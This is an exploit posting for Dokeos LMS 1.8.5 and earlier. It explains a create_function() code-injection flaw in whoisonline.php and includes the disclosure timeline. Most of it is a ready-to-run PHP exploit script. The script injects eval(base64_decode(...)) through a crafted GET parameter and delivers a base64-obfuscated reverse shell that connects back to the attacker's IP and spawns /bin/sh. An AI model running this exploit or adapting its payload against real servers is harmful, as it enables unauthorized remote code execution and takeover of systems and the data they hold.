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Dokeos LMS 1.8.5 PHP Code Injection

Dokeos LMS 1.8.5 PHP Code Injection
Posted Apr 21, 2009
Authored by EgiX

Dokeos LMS versions 1.8.5 and below remote php code injection exploit that kicks back a reverse shell and leverages whoisonline.php.

tags | exploit, remote, shell, php
SHA-256 | f0b09e2882fc239f1226e9456fc3ce190720e3cab172daab59ab0400fac16e39

Dokeos LMS 1.8.5 PHP Code Injection

Change Mirror Download
<?php

/*
-----------------------------------------------------------------------
Dokeos LMS <= 1.8.5 (whoisonline.php) Remote PHP Code Injection Exploit
-----------------------------------------------------------------------

author...: EgiX
mail.....: n0b0d13s[at]gmail[dot]com

link.....: http://www.dokeos.com/

This PoC was written for educational purpose. Use it at your own risk.
Author will be not responsible for any damage.

[-] vulnerable code in /main/inc/lib/tablesort.lib.php

86. function sort_table($data, $column = 0, $direction = SORT_ASC, $type = SORT_REGULAR)
87. {
88. if(!is_array($data) or count($data)==0){return array();}
89. switch ($type)
90. {
91. case SORT_REGULAR :
92. if (TableSort::is_image_column($data, $column))
93. {
94. return TableSort::sort_table($data, $column, $direction, SORT_IMAGE);
95. }
96. elseif (TableSort::is_date_column($data, $column))
97. {
98. return TableSort::sort_table($data, $column, $direction, SORT_DATE);
99. }
100. elseif (TableSort::is_numeric_column($data, $column))
101. {
102. return TableSort::sort_table($data, $column, $direction, SORT_NUMERIC);
103. }
104. return TableSort::sort_table($data, $column, $direction, SORT_STRING);
105. break;
106. case SORT_NUMERIC :
107. $compare_function = 'strip_tags($el1) > strip_tags($el2)';
108. break;
109. case SORT_STRING :
110. $compare_function = 'strnatcmp(TableSort::orderingstring(strip_tags($el1)), [...]
111. break;
112. case SORT_IMAGE :
113. $compare_function = 'strnatcmp(TableSort::orderingstring(strip_tags($el1,"<img>")), [...]
114. break;
115. case SORT_DATE :
116. $compare_function = 'strtotime(strip_tags($el1)) > strtotime(strip_tags($el2))';
117. }
118. $function_body = '$el1 = $a['.$column.']; $el2 = $b['.$column.']; return ('.$direction.' == SORT_ASC [...]
119. // Sort the content
120. usort($data, create_function('$a,$b', $function_body));
121. return $data;
122. }

Input parameter passed to whoisonline.php isn't properly sanitised before being used in a call to
"create_function()" at line 120. This can be exploited to inject and execute arbitrary PHP code.
[See http://www.securityfocus.com/bid/31398 also PHP 5.2.9 seems to be still vulnerable to this bug!]
Others attack vectors might be possible with a valid registered account.

[-] Disclosure timeline:

[10/04/2009] - Bug discovered
[13/04/2009] - Vendor contacted but no response
[16/04/2009] - Vendor contacted again still no response
[21/04/2009] - Public disclosure

*/

error_reporting(0);
set_time_limit(0);
ini_set("default_socket_timeout", 5);

function http_send($host, $packet)
{
if (($s = socket_create(AF_INET, SOCK_STREAM, SOL_TCP)) == false)
die("\nsocket_create(): " . socket_strerror($s) . "\n");

if (socket_connect($s, $host, 80) == false)
die("\nsocket_connect(): " . socket_strerror(socket_last_error()) . "\n");

socket_write($s, $packet, strlen($packet));
while ($m = socket_read($s, 2048)) $response .= $m;

socket_close($s);
return $response;
}

print "\n+--------------------------------------------------------------------+";
print "\n| Dokeos LMS <= 1.8.5 (reverse shell) Code Injection Exploit by EgiX |";
print "\n+--------------------------------------------------------------------+\n\n";

if ($argc < 4)
{
print "\nUsage......: php $argv[0] <host> <path> <local IP> [port]\n";
print "\nExample....: php $argv[0] localhost /dokeos/ 192.168.0.2";
print "\nExample....: php $argv[0] localhost / 192.168.0.2 12345\n";
die();
}

$host = $argv[1];
$path = $argv[2];
$ip = $argv[3];
$port = isset($argv[4]) ? (int)$argv[4] : 4444;

// reverse shell based on http://pentestmonkey.net/tools/php-reverse-shell/
$code =
"c2V0X3RpbWVfbGltaXQoMCk7CmluaV9zZXQoJ2RlZmF1bHRfc29ja2V0X3RpbWVvdXQnLCA1KTsKC" .
"iRpcCA9ICRfU0VSVkVSW0hUVFBfSVBdOwokcG9ydCA9ICRfU0VSVkVSW0hUVFBfUE9SVF07CiRjaH" .
"Vua19zaXplID0gMjA0ODsKCmlmICghKCRzb2NrID0gZnNvY2tvcGVuKCRpcCwgJHBvcnQpKSkgZGl" .
"lKCdbZXJyXUNvbm5lY3Rpb24gdG8geyRpcH06eyRwb3J0fSByZWZ1c2VkJyk7CiRkZXNjcmlwdG9y" .
"c3BlYyA9IGFycmF5KDAgPT4gYXJyYXkoJ3BpcGUnLCAncicpLCAxID0+IGFycmF5KCdwaXBlJywgJ" .
"3cnKSwgMiA9PiBhcnJheSgncGlwZScsICd3JykpOwppZiAoIWlzX3Jlc291cmNlKCgkcHJvY2Vzcy" .
"A9IHByb2Nfb3BlbignL2Jpbi9zaCAtaScsICRkZXNjcmlwdG9yc3BlYywgJHBpcGVzKSkpKSBkaWU" .
"oJ1tlcnJdQ2FuXCd0IHNwYXduIHNoZWxsJyk7CgpzdHJlYW1fc2V0X2Jsb2NraW5nKCRwaXBlc1sw" .
"XSwgMCk7CnN0cmVhbV9zZXRfYmxvY2tpbmcoJHBpcGVzWzFdLCAwKTsKc3RyZWFtX3NldF9ibG9ja" .
"2luZygkcGlwZXNbMl0sIDApOwpzdHJlYW1fc2V0X2Jsb2NraW5nKCRzb2NrLCAwKTsKCndoaWxlIC" .
"ghZmVvZigkc29jaykgJiYgIWZlb2YoJHBpcGVzWzFdKSkgewoJJHJlYWRfYSA9IGFycmF5KCRzb2N" .
"rLCAkcGlwZXNbMV0sICRwaXBlc1syXSk7CgkkbnVtX2NoYW5nZWRfc29ja2V0cyA9IHN0cmVhbV9z" .
"ZWxlY3QoJHJlYWRfYSwgJHdyaXRlX2EsICRlcnJvcl9hLCBudWxsKTsKCglpZiAoaW5fYXJyYXkoJ" .
"HNvY2ssICRyZWFkX2EpKSB7CgkJJGlucHV0ID0gZnJlYWQoJHNvY2ssICRjaHVua19zaXplKTsKCQ" .
"lmd3JpdGUoJHBpcGVzWzBdLCAkaW5wdXQpOwoJfQoJaWYgKGluX2FycmF5KCRwaXBlc1sxXSwgJHJ" .
"lYWRfYSkpIHsKCQkkaW5wdXQgPSBmcmVhZCgkcGlwZXNbMV0sICRjaHVua19zaXplKTsKCQlmd3Jp" .
"dGUoJHNvY2ssICRpbnB1dCk7Cgl9CglpZiAoaW5fYXJyYXkoJHBpcGVzWzJdLCAkcmVhZF9hKSkge" .
"woJCSRpbnB1dCA9IGZyZWFkKCRwaXBlc1syXSwgJGNodW5rX3NpemUpOwoJCWZ3cml0ZSgkc29jay" .
"wgJGlucHV0KTsKCX0KfQoKZmNsb3NlKCRzb2NrKTsKZmNsb3NlKCRwaXBlc1swXSk7CmZjbG9zZSg" .
"kcGlwZXNbMV0pOwpmY2xvc2UoJHBpcGVzWzJdKTsKcHJvY19jbG9zZSgkcHJvY2Vzcyk7CmRpZTsK";

$packet = "GET {$path}whoisonline.php?tablename_column=0];}eval(base64_decode(\$_SERVER[HTTP_CODE]));%23 HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Code: {$code}\r\n";
$packet .= "IP: {$ip}\r\n";
$packet .= "Port: {$port}\r\n";
$packet .= "Connection: close\r\n\r\n";

$response = http_send($host, $packet);

if (preg_match("/\[err\](.*)/", $response, $match)) die("[-] Exploit failed ({$match[1]})\n");
if (preg_match("/<\/html>/", $response)) die("[-] Exploit failed (No users online)\n");

?>

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